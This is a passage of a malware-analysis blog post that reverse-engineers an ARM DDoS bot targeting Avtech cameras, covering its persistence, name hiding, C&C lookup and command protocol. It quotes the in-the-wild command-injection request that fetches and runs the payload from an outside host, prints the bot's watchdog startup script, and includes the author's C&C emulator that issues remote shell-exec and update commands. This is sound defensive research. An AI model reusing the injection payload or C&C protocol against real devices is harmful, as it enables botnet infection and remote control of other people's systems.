<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span> nm -P Arm1 | awk <span style="background-color: #fff0f0;">'$2 == "T" && $1 !~ /^_/ {print "b " $1}'</span>
<span style="color: #888888;">b Calcpuuser</span>
<span style="color: #888888;">b ConnectServer</span>
<span style="color: #888888;">b DelayClose</span>
<span style="color: #888888;">b GetIp</span>
<span style="color: #888888;">b Getcpuinfo</span>
<span style="color: #888888;">b Getsysinfo</span>
<span style="color: #888888;">b Jointhread</span>
<span style="color: #888888;">b MySleep</span>
<span style="color: #888888;">b RecvDosMsg</span>
<span style="color: #888888;">b SendCpuMsg</span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;">b attack_tcp_con</span>
<span style="color: #888888;">b attack_tcp_http</span>
<span style="color: #888888;">b attack_tcp_std</span>
<span style="color: #888888;">b attack_tcp_syn</span>
<span style="color: #888888;">b attack_udp_root</span>
<span style="color: #888888;">b attack_udp_std</span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;">b initwake</span>
<span style="color: #888888;">b jiemihttp</span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;">b matow</span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;">b system</span>
<span style="color: #888888;">(...)</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span>
</pre>
</div>
<br />
This is really interesting. Those function name tend to see this binary as a DDos tool.<br />
The first guess is that binary will do a ConnectServer to its C&C, then wait for RecvDosMsg<br />
and do the attack_* based on the DosMsg.<br />
<br />
It took some time for me to figure that 'jiemi' means 'Revealing' or 'secret' in chinese, so the jiemihttp<br />
function could look interesting.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjghshVi5OgjgFAnnmvI_TI6sNd9K-k0mIfsTN1-6srY-2WSLmcPwwwF0GXQTWjfJARgtlHg85LHpXKxhpC1nFe4SJv9gw_Ug4G6L8cznLX8JcDl0ZmdZIhSUSAcQtwRJc3DXAIrY75GLE/s1600/jiemi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="260" data-original-width="753" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjghshVi5OgjgFAnnmvI_TI6sNd9K-k0mIfsTN1-6srY-2WSLmcPwwwF0GXQTWjfJARgtlHg85LHpXKxhpC1nFe4SJv9gw_Ug4G6L8cznLX8JcDl0ZmdZIhSUSAcQtwRJc3DXAIrY75GLE/s1600/jiemi.png" /></a></div>
<br />
<br />
<h3>
2/2/ strings the binary</h3>
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span> strings -10 Arm1
<span style="color: #888888;">/proc/cpuinfo</span>
<span style="color: #c65d09; font-weight: bold;">%</span>*<span style="color: #333333;">[</span>^:<span style="color: #333333;">]</span>: %d
<span style="color: #888888;">/proc/stat</span>
<span style="color: #c65d09; font-weight: bold;">%</span>s %u %u %u %u
<span style="color: #888888;">/proc/net/dev</span>
<span style="color: #888888;">eth0:%Lu %*d %*d %*d %*d %*d %*d %*d %Lu</span>
<span style="color: #888888;">/proc/self/exe</span>
<span style="color: #888888;"> while true;do</span>
<span style="color: #888888;"> server=`netstat -nlp | grep :39999`</span>
<span style="color: #888888;"> if [ ${#server} -eq 0 ] ; then</span>
<span style="color: #888888;"> nohup %s -c 1 &</span>
<span style="color: #888888;">/usr/bin/wake</span>
<span style="color: #888888;">/etc/init.d/wake</span>
<span style="color: #c65d09; font-weight: bold;">#</span><span style="color: #888888;">## BEGIN INIT INFO</span>
<span style="color: #c65d09; font-weight: bold;">#</span> Provides: wake
<span style="color: #c65d09; font-weight: bold;">#</span> Required-Start: <span style="color: #996633;">$remote_fs</span>
<span style="color: #c65d09; font-weight: bold;">#</span> Required-Stop: <span style="color: #996633;">$remote_fs</span>
<span style="color: #c65d09; font-weight: bold;">#</span> Default-Start: 2 3 4 5
<span style="color: #c65d09; font-weight: bold;">#</span> Default-Stop: 0 1 6
<span style="color: #c65d09; font-weight: bold;">#</span> Short-Description: Start or stop the HTTP Proxy.
<span style="color: #c65d09; font-weight: bold;">#</span><span style="color: #888888;">## END INIT INFO</span>
<span style="color: #888888;">case "$1" in</span>
<span style="color: #888888;"> nohup /usr/bin/wake -c 1 &</span>
<span style="color: #888888;">update-rc.d wake defaults 99</span>
<span style="color: #888888;">chkconfig --add wake</span>
<span style="color: #888888;">chkconfig wake on </span>
<span style="color: #888888;">nohup /usr/bin/wake -c 1 &</span>
<span style="color: #888888;">/dev/watchdog</span>
<span style="color: #888888;">/dev/misc/watchdog</span>
<span style="color: #888888;">update-rc.d -f wake remove</span>
<span style="color: #888888;">chkconfig --del wake</span>
<span style="color: #888888;">/proc/self/exe</span>
<span style="color: #888888;">wget -O %s %s</span>
<span style="color: #888888;">shell fail</span>
<span style="color: #888888;">/usr/bin/shell</span>
<span style="color: #888888;">nohup /usr/bin/shell -c 1 &</span>
<span style="color: #888888;">wget %s -O -</span>
<span style="color: #888888;">curl %s -O -</span>
<span style="color: #888888;">GET %s HTTP/1.1</span>
<span style="color: #888888;">Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, app</span>
<span style="color: #888888;">lication/vnd.ms-powerpoint, application/msword, */*</span>
<span style="color: #888888;">Accept-Language: zh-cn</span>
<span style="color: #888888;">Accept-Encoding: gzip, deflate</span>
<span style="color: #888888;">User-Agent:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SV1)</span>
<span style="color: #888888;">Connection: Keep-Alive</span>
<span style="color: #888888;">(... nothing really interesting after...)</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span> strings Arm1 | grep -oE <span style="background-color: #fff0f0;">"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"</span>
<span style="color: #888888;">127.0.0.1</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/infected$</span>
</pre>
</div>
<br />
We can see some info:<br />
<br />
<ul>
<li>There is something with the TCP port 39999</li>
<li>This program seems able to resgister itself for startup with 'wake' name (?) and Proxy (??) capability</li>
<li>The Accept-Language is set to zh-cn (attribution dice is broken, so nothing more to say).</li>
<li>No obvious C&C DNS name or IP address</li>
</ul>
<br />
<div>
<br /></div>
<div>
<h3>
2/3/ OSINT</h3>
<div>
Right before doing analysis and reversing, we can search for info.</div>
<div>
-h<a href="ttps://exchange.xforce.ibmcloud.com/collection/Arm1-malicious-file-via-HTTP-GETPOST-8f3586475b0adeee2811f7f4799ffc7b">ttps://exchange.xforce.ibmcloud.com/collection/Arm1-malicious-file-via-HTTP-GETPOST-8f3586475b0adeee2811f7f4799ffc7b</a></div>
<div>
<br /></div>
<div>
It says that the binary comes from this request:</div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">GET /cgi-bin/;wget%20-O%20/tmp/Arm1%20http://172.247.116.3:8080/Arm1;chmod%200777/tmp/Arm1;/tmp/Arm1 HTTP/1.1\r\n</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">Host: 81.171.12.232\r\n</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">Connection: keep-alive\r\n</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">Accept-Encoding: gzip, deflate\r\nAccept: */*\r\n</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">User-Agent: python-requests/2.13.0\r\n\r\n</span></div>
<div>
<br /></div>
<div>
-<a href="https://virustotal.com/en/file/8040422762138d28aa411d8bb2307a93432416f72b292bf884fb7c7efde9f3f5/analysis/">https://virustotal.com/en/file/8040422762138d28aa411d8bb2307a93432416f72b292bf884fb7c7efde9f3f5/analysis/</a></div>
<div>
Which says the same thing.</div>
<div>
<br /></div>
<div>
So, this binary is uploaded through a known vulnerability and targets Avtech device.</div>
<div>
<br /></div>
<div>
-<a href="https://xn--blgg-hra.no/2017/02/yet-another-mirai-strain-targeting-avtech-devices/">https://xn--blgg-hra.no/2017/02/yet-another-mirai-strain-targeting-avtech-devices/</a></div>
<div>
This post gives some info about the infection.</div>
<div>
<br /></div>
<div>
-<a href="https://detux.org/report.php?sha256=8ff296806f496d77a1a8fc739566025397422345cf4eb6a56ef34f85ecdaecd7">https://detux.org/report.php?sha256=8ff296806f496d77a1a8fc739566025397422345cf4eb6a56ef34f85ecdaecd7</a> -> Seems to be the same binary, but compiled for x86.</div>
<div>
<br /></div>
<div>
As the primary vector uses a python-requests User-Agent, we can think that this is scripted to crawl and</div>
<div>
infect as many targets as possible. The fact that we found a sample in x86 is an indication that code is meant to be reused through different platforms/attack vector.</div>
<div>
<br /></div>
<div>
At the time of writing, virustotal has a detection ratio of 22/58 and name is frequently one of those:</div>
<div>
<ul>
<li>malware</li>
<li>Ddos</li>
<li>Agent</li>
<li>Trojan</li>
<li>Backdoor</li>
</ul>
</div>
<div>
<br /></div>
<h3>
2/3/ Partial conclusion</h3>
<div>
If it looks like a duck, swims like a duck and quack like a duck, it can be call a duck.</div>
<div>
This really quick glance at this binary tells us that this is not legitimate software and can be placed in the infected/ folder.</div>
<div>
<br /></div>
<div>
We have a first vector of infection which targets a known vulnerability in order to upload and execute the malware.</div>
<div>
what's missing now is the purpose of this malware, the IP address of the C&C and th protocol used to communicate between client and C&C.</div>
<div>
<br /></div>
<div>
It's time now to analze deeply this binary in order to understand all of its capabilities.</div>
</div>
<div>
<br /></div>
<h2>
3/ Full reversing</h2>
<div>
<div>
The debug setup is the one explained here</div>
<div>
<a href="http://0x90909090.blogspot.fr/2017/07/qemu-arm-vm-for-crackmemalware-analysis.html">http://0x90909090.blogspot.fr/2017/07/qemu-arm-vm-for-crackmemalware-analysis.html</a></div>
<div>
<br /></div>
<div>
Everything has been done under gdb and common unix tools. I use the <a href="https://github.com/gdbinit/Gdbinit" target="_blank">.gdbinit script</a></div>
<div>
<a href="https://github.com/gdbinit/Gdbinit" target="_blank">from osxreverser</a> in order to help me in reversing. If you want to use, beware that </div>
<div>
the way of calculating the branch taken or not doesn't work all the time.</div>
<div>
<br /></div>
<div>
As it works with threads, I set the scheduler-locking with "step" mode:</div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">user@router1 ~/infected $ gdb Arm1</span>
<span style="color: #888888;">Reading symbols from Arm1...(no debugging symbols found)...done.</span>
<span style="color: #888888;">gdb$ b * main</span>
<span style="color: #888888;">Breakpoint 1 at 0x8924</span>
<span style="color: #888888;">gdb$ r</span>
<span style="color: #888888;">Starting program: /home/user/infected/Arm1 </span>
<span style="color: #888888;">--------------------------------------------------------------------------[regs]</span>
<span style="color: #888888;"> R0: 0x00000001 R1: 0xBEFFF744 R2: 0xBEFFF74C R3: 0x00008924</span>
<span style="color: #888888;"> R4: 0x00013B90 R5: 0x00000000 R6: 0x00013B48 R7: 0x00000000</span>
<span style="color: #888888;"> R8: 0x00000000 R9: 0x00000000 R10: 0x00000000 R11: 0x00000000 </span>
<span style="color: #888888;"> R12: 0xBEFFF678 SP: 0xBEFFF5F8 LR: 0x0001368C PC: 0x00008924 n Z C v q j e a i f t </span>
<span style="color: #888888;">--------------------------------------------------------------------------[code]</span>
<span style="color: #888888;">=> 0x8924 <main>: push {r4, r11, lr}</span>
<span style="color: #888888;"> 0x8928 <main+4>: add r11, sp, #8</span>
<span style="color: #888888;"> 0x892c <main+8>: sub sp, sp, #1568 ; 0x620</span>
<span style="color: #888888;"> 0x8930 <main+12>: sub sp, sp, #4</span>
<span style="color: #888888;"> 0x8934 <main+16>: str r0, [r11, #-1552] ; 0xfffff9f0</span>
<span style="color: #888888;"> 0x8938 <main+20>: str r1, [r11, #-1556] ; 0xfffff9ec</span>
<span style="color: #888888;"> 0x893c <main+24>: ldr r2, [pc, #1408] ; 0x8ec4 <main+1440></span>
<span style="color: #888888;"> 0x8940 <main+28>: mvn r3, #0</span>
<span style="color: #888888;">--------------------------------------------------------------------------------</span>
<span style="color: #888888;">Breakpoint 1, 0x00008924 in main ()</span>
<span style="color: #888888;">gdb$ set scheduler-locking step</span>
<span style="color: #888888;">gdb$ </span>
</pre>
</div>
</div>
<div>
<br /></div>
<div>
Because it stops all threads when a breakpoint is encountered. When you 'stepi' or 'c' all threads start until the next breakpoint. That's really nice to inspect all registers or switch from a thread to another.<br />
<br />
This work started with a strong static analysis, and a dynamic one after, once I figured that this binary will not break things. Once I figured the basics of the network protocol I begun to write a server, which helped me a lot for dynamic analysis.<br />
<br />
The analysis VM was fully firewalled in a protected environment, and tcpdump was running in host machine to confirm and track every packets send and received.</div>
<div>
<br /></div>
<div>
<h3>
3/1/ From startup to full DDos</h3>
<h4>
3/1/1/ The mysterious tcp port 39999 is only a watchdog</h4>
<div>
The main() function begins to setup some constants, then open the port 39999 for listening. There is two important points here:</div>
<div>
<ul>
<li>It opens 127.0.0.1:39999 for listening, and only 127.0.0.1, it's hardcoded.</li>
<li>There is absolutely no function implemented that parse the data sent through that port, so we have to understand what's the purpose of this server.</li>
</ul>
</div>
</div>
<div>
If the binary has root rights, the main() function creates a script /usr/bin/wake:</div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">#!/bin/bash</span>
<span style="color: #008800; font-weight: bold;">while </span><span style="color: #007020;">true</span>;<span style="color: #008800; font-weight: bold;">do</span>
<span style="color: #008800; font-weight: bold;"> </span><span style="color: #996633;">server</span><span style="color: #333333;">=</span><span style="background-color: #fff0f0;">`</span>netstat -nlp | grep :39999<span style="background-color: #fff0f0;">`</span>
<span style="color: #008800; font-weight: bold;">if</span> <span style="color: #333333;">[</span> <span style="color: #008800; font-weight: bold;">${#</span><span style="color: #996633;">server</span><span style="color: #008800; font-weight: bold;">}</span> -eq 0 <span style="color: #333333;">]</span> ; <span style="color: #008800; font-weight: bold;">then</span>
<span style="color: #008800; font-weight: bold;"> </span>nohup /home/user/infected/Arm1 -c 1 &
<span style="color: #008800; font-weight: bold;">fi</span>
</pre>
</div>
<div>
<br />
So we understand that the 39999 port is only used as a watchdog:<br />
If binary dies, port is closed, and /usr/bin/wake script will start it again. There is no proxy capability, this information printed in the startup file is maybe only a decoy.<br />
<br />
The bot grabs some information of the underlying infected host, (uname -a), IP address, and if it has root rights.<br />
<br />
It gets the results of uname -a, the IP address, and the rights of the binary (root or user). Another point really interesting here is that it tries to read from eth0 or ens33 interface. eth0 is the old way of naming linux interfaces, and ens33 is the new way of predict interfaces name. As we saw, this malware targets AVtech camera, and avtech camera uses only old naming scheme. That's perplexing, for another reason, and we'll also come back to this later.<br />
<br />
<h4>
3/1/2/ Changing name</h4>
</div>
<div>
<div>
The binary change its name with an ioctl(). If you do a ps ax you won't see the name of the file. The algorithm used to create a random name is a bit wicked (what for?), and the name can have 5 or 7 chars, all uppercase.</div>
<div>
<br /></div>
<div>
The ps ax shows something like:</div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">user@router1 ~/infected $ ps ax</span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;"> 1265 pts/0 Sl+ 0:00 GNLXT</span>
<span style="color: #888888;"> 1283 pts/0 S+ 0:00 /bin/sh /usr/bin/wake -c 1</span>
<span style="color: #888888;">(...)</span>
</pre>
</div>
<div>
<br />
Some fun fact here. This name change only change the 5 or 7 first characters of the binary. So if you rename your binary with a very long name, only the 5 or 7 first chars are changed with random uppercase characters.<br />
<br />
<h4>
3/1/3/ The decryption of the victim's DNS name used to get the real C&C IP:port</h4>
The jiemihttp() function is called from main. Jiemi means "secret" or "Revealing" in chinese, and the secret C1c address is decrypted here.<br />
This function will decrypt inplace an URL. As a CTF-Player, I like to reverse those kind of functions, and this one is not really hard:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">Breakpoint 2, 0x00009e28 in jiemihttp ()</span>
<span style="color: #888888;">gdb$ x/s 0x000930D0</span>
<span style="color: #888888;">0x930d0 <dns>: "c`i/gliwx{-apl-jo//svu"</span>
<span style="color: #888888;">gdb$</span>
</pre>
</div>
<br />
Another blogposts will explain more deeply the reversing, we'll stick to higher understanding here.<br />
<br />
Nothing magic here, we follow the algorithm, reverse it then get the name: "bak.hnhxzz.com/ip1.txt"<br />
And all the "encryption" here are in fact only:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-_-O28gjrsOfkcFfdJDuN0owTLNUp8S0EGXVSTK6EBhE_GhqpeofxnWUMKb39MoTqBa91QvBjy178jk9qf3I9KDKAcf3rM5TF4wXD5-5TTmpQwlMWrmBowWDI9cSU1L46cS9IRbCg8F0/s1600/jiemi_real.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="279" data-original-width="909" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-_-O28gjrsOfkcFfdJDuN0owTLNUp8S0EGXVSTK6EBhE_GhqpeofxnWUMKb39MoTqBa91QvBjy178jk9qf3I9KDKAcf3rM5TF4wXD5-5TTmpQwlMWrmBowWDI9cSU1L46cS9IRbCg8F0/s1600/jiemi_real.png" /></a></div>
<br />
The website hnhxzz.com seems to be a legitimate website, and my best guest is that the <a href="http://bak.hnhxzz.com/">bak.hnhxzz.com</a> domain have been compromised to hosts the ip1.txt file. At this time, the ip1.txt file doesn't exist anymore so I'm not able to know which IP and port were used for this bot binary. By using a level of this, attacker can hide the real C&C IP address for reverser.<br />
<br />
Following the main(), the GetIP() function is called, it just calls wget, or curl (this is important, we'll go back on that later) to get the ip1.txt file containing one line with an IP and a port. There is a little check to verify that the IP is not 127.0.0.1, which can be seen as an anti sandbox technique, maybe.<br />
<br />
The ConnectServer() function is called, and main() function almost ends here.<br />
<br />
Everything done after is made through threads.<br />
<br />
<h3>
3/2/ Communication from bot to master</h3>
All communication from bot to master begin with a 4bytes header:<br />
<br />
<ul>
<li> <b>\x01\x00\x01\x00</b> : REGISTER client</li>
<li> <b>\x02\x00\x01\x00</b> : Send statistics regularly</li>
<li> <b>\x05\x00\x01\x00</b> : result of a command (see server part for this one)</li>
</ul>
</div>
</div>
<div>
<br /></div>
<div>
<h4>
3/2/1/ Registering to C&C</h4>
<div>
When the bot connects to its C&C, it sends '\x01\x00\x01\x00' then the `uname -a` strings. Some (fun) fact, the result of uname -a is passed through the matow() function which seems to add a \x00 char between each character of the string. Is it an ascii to UTF-8 string? (matow could mean: Make Ascii TO Wide ???)</div>
<div>
<br /></div>
<div>
It can also reveal that the real server is UTF-8 only, and can only print those characters.</div>
<div>
<br /></div>
<div>
If binary is launched with root right, it sends another TCP packet containing 12 bytes, '\x01\x00*12' or 12 null if it doesn't have root rights.</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpvaKRkYxp99q5vysGLaAh-Y6Z-huH0j7IcRnemSHJzrBSbLlVtC3rXXOVLtI7DAEyAEICUI8Mk2x-Ve9dsQ33YGUqZ7u19SAuffxzDQVqigsfnOlI_F0PVcJml3EftyloDwNbzkg4FjU/s1600/register.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="272" data-original-width="788" height="137" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpvaKRkYxp99q5vysGLaAh-Y6Z-huH0j7IcRnemSHJzrBSbLlVtC3rXXOVLtI7DAEyAEICUI8Mk2x-Ve9dsQ33YGUqZ7u19SAuffxzDQVqigsfnOlI_F0PVcJml3EftyloDwNbzkg4FjU/s400/register.png" width="400" /></a></div>
<div>
And, yes, there is a lot of null bytes.</div>
<div>
<br /></div>
<h4>
3/2/2/ SendCpuMsg</h4>
<div>
<div>
A thread is created for this function. This function open /proc/stat and /proc/net/dev, waits 5s reopen again those files, diff the result to compute some statistics:</div>
<div>
<ul>
<li>%CPU Usage</li>
<li>Number of bytes sent (divided by 5120 (??))</li>
</ul>
</div>
<div>
Every 5s, it sends the data, with a '102' header, 4 nulls, and 8 bytes:</div>
<div>
<b>\x02\x00\x01\x00\x00\x00\x00\x00<OutRates><CPU></b></div>
<div>
<br /></div>
<div>
What is /proc/stat: <a href="http://www.linuxhowtos.org/System/procstat.htm">http://www.linuxhowtos.org/System/procstat.htm</a></div>
<div>
What is /proc/net/dev: h<a href="ttps://stackoverflow.com/questions/3521678/what-are-meanings-of-fields-in-proc-net-dev">ttps://stackoverflow.com/questions/3521678/what-are-meanings-of-fields-in-proc-net-dev</a></div>
<div>
<br /></div>
<div>
What is really interesting here is that /proc/net/dev only checks for a line beginning with eth0. Remember that the sysinfo() tries to read either from eth0 or ens33, here, it only deals with eth0. It could means that some part of the code of this bot is reused, or that the coder doesn't care at all but there is at least a lack of consistency here.</div>
</div>
<div>
<br /></div>
<div>
<h3>
3/3/ Communication from master to bot</h3>
<div>
All communication from master to bot begin with a 4bytes header:</div>
<div>
<ul>
<li><b>\x03\x00\x01\x00</b> : DDos commands (with subcommands)</li>
<li><b>\x04\x00\x01\x00</b> : stop DDOSing</li>
<li><b>\x05\x00\x01\x00</b> : Send commands, like exit, exec, or update</li>
</ul>
</div>
</div>
<div>
<h4>
3/3/1/ 0105 commands</h4>
<div>
* <b>Exitself</b> and <b>Killself</b> are almost self-explanatory. The difference here is that Exitself only exit the binary, and killself also suppress the /etc/init.d/wake startup scripts.</div>
<div>
Juste be carefull that the command is written after 396 bytes of padding in the packet.</div>
<div>
<br /></div>
<div>
The server code part is simply:</div>
</div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"> <span style="color: #008800; font-weight: bold;">if</span> cmd <span style="color: #333333;">==</span> <span style="background-color: #fff0f0;">'killself'</span>:
client<span style="color: #333333;">.</span>send(<span style="background-color: #fff0f0;">'</span><span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\x05\x00\x01\x00</span><span style="background-color: #fff0f0;">'</span><span style="color: #333333;">+</span><span style="color: #0000dd; font-weight: bold;">396</span><span style="color: #333333;">*</span><span style="background-color: #fff0f0;">'A'</span><span style="color: #333333;">+</span><span style="background-color: #fff0f0;">'killself'</span>)
<span style="color: #008800; font-weight: bold;">elif</span> cmd <span style="color: #333333;">==</span> <span style="background-color: #fff0f0;">'exitself'</span>:
client<span style="color: #333333;">.</span>send(<span style="background-color: #fff0f0;">'</span><span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\x05\x00\x01\x00</span><span style="background-color: #fff0f0;">'</span><span style="color: #333333;">+</span><span style="color: #0000dd; font-weight: bold;">396</span><span style="color: #333333;">*</span><span style="background-color: #fff0f0;">'A'</span><span style="color: #333333;">+</span><span style="background-color: #fff0f0;">'exitself'</span>)
</pre>
</div>
<div>
<br />
* The <b>update</b> command! Really worth it<br />
The update command will download a binary, and replace the Arm1 file on disk (or any other name it has), then stop the binary. There is no mechanism to restart the binary, except the watchdog seen before.<br />
<br />
Once again, jump 396 bytes of padding before writing update\x00http://<url>/file\x00</div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"> <span style="color: #008800; font-weight: bold;">elif</span> cmd <span style="color: #333333;">==</span> <span style="background-color: #fff0f0;">'update'</span>:
client<span style="color: #333333;">.</span>send(<span style="background-color: #fff0f0;">'</span><span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\x05\x00\x01\x00</span><span style="background-color: #fff0f0;">'</span><span style="color: #333333;">+</span><span style="color: #0000dd; font-weight: bold;">396</span><span style="color: #333333;">*</span><span style="background-color: #fff0f0;">'A'</span><span style="color: #333333;">+</span><span style="background-color: #fff0f0;">'update</span><span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\x00</span><span style="background-color: #fff0f0;">http://172.16.42.42/helloworld</span><span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\x00</span><span style="background-color: #fff0f0;">'</span>)
</pre>
</div>
<div>
<br /></div>
<div>
Another thing, this update command use wget only to download the file. There is no try with curl. I think this tend to say that it's once again some code reuse between different projects, or different coders through time.<br />
<br />
* The <b>exec</b> command<br />
If there is something at byte 400 (\x05\x00\x01\x00 + 396 bytes of padding) which is neither the string 'exitself', 'killself' or 'update', everything is passed through a shell and the result is sent back from the client to server. The header is '\x05\x00\x01\x00 + 396 null bytes', and the answer.<br />
<br />
My server code check if command starts with a ':' and send the command to the client:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"> <span style="color: #008800; font-weight: bold;">elif</span> cmd<span style="color: #333333;">.</span>startswith(<span style="background-color: #fff0f0;">':'</span>):
client<span style="color: #333333;">.</span>send(<span style="background-color: #fff0f0;">'</span><span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\x05\x00\x01\x00</span><span style="background-color: #fff0f0;">'</span><span style="color: #333333;">+</span><span style="color: #0000dd; font-weight: bold;">396</span><span style="color: #333333;">*</span><span style="background-color: #fff0f0;">'A'</span><span style="color: #333333;">+</span>cmd[<span style="color: #0000dd; font-weight: bold;">1</span>:])
</pre>
</div>
<br />
And the parsing of the result:</div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"> <span style="color: #008800; font-weight: bold;">elif</span> response<span style="color: #333333;">.</span>startswith(<span style="background-color: #fff0f0;">'</span><span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\x05\x00\x01\x00</span><span style="background-color: #fff0f0;">'</span>):
status_cli(<span style="background-color: #fff0f0;">'CMD RESP: '</span><span style="color: #333333;">+</span>response[<span style="color: #0000dd; font-weight: bold;">400</span>:])
</pre>
</div>
<div>
<br />
Here is a transcript of a live session between my server and Arm1 malware binary:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/armv6_stretch$</span> ./server.py
<span style="color: #888888;">('172.16.42.3', 46806) connected</span>
<span style="color: #888888;">Client <<< REGISTER: Linux router1 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux</span>
<span style="color: #888888;">Server >>> </span>
<span style="color: #888888;">.</span>
<span style="color: #888888;">Client <<< DATA</span>
<span style="color: #888888;">OutRates: 0*5120 bytes; CPU: 3% usage</span>
<span style="color: #888888;">Server >>> </span>
<span style="color: #888888;">.</span>
<span style="color: #888888;">Client <<< DATA</span>
<span style="color: #888888;">OutRates: 0*5120 bytes; CPU: 11% usage</span>
<span style="color: #888888;">.</span>
<span style="color: #888888;">Client <<< DATA</span>
<span style="color: #888888;">OutRates: 0*5120 bytes; CPU: 2% usage</span>
<span style="color: #888888;">Server >>> </span>
<span style="color: #888888;">.</span>
<span style="color: #888888;">.</span>
<span style="color: #888888;">.</span>
<span style="color: #888888;">Server >>> :echo owned</span>
<span style="color: #888888;">Client <<< CMD RESP: owned</span>
<span style="color: #888888;">.</span>
<span style="color: #888888;">.</span>
<span style="color: #888888;">.</span>
<span style="color: #888888;">Server >>> :id</span>
<span style="color: #888888;">Client <<< CMD RESP: uid=1000(user) gid=1000(pi) groupes=1000(pi)</span>
<span style="color: #888888;">Server >>> </span>
<span style="color: #888888;">.</span>
<span style="color: #888888;">Client <<< DATA</span>
<span style="color: #888888;">OutRates: 0*5120 bytes; CPU: 2% usage</span>
<span style="color: #888888;">Server >>> </span>
</pre>
</div>
<br />
<h3>
3/4/ The Ddos commands</h3>
Some pcap can be provided for those interested. As this tool is a ddos tool, I'll explain how it works.<br />
<br />
<h4>
3/4/1/ The "stop" command</h4>
Stop command is a simple message:<br />
'<b>\x04\x00\x01\x00</b>' which kill all Ddos threads. When attacker launch a DDos, there is no timer, or automatic stop. The only way to stop a ddos is to launch a "stop" command.<br />
This binary only launch a DDos at a time. If attacker wants to switch targets, it has to stop the DDos with the stop command, and start another one.<br />
<br />
<h4>
3/4/2 103 code 4 : http Dos</h4>
The format of the packet launching a DDoS is:<br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 0: DOS CMD: \x03\x00\x01\x00</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 4: padding</span><br />
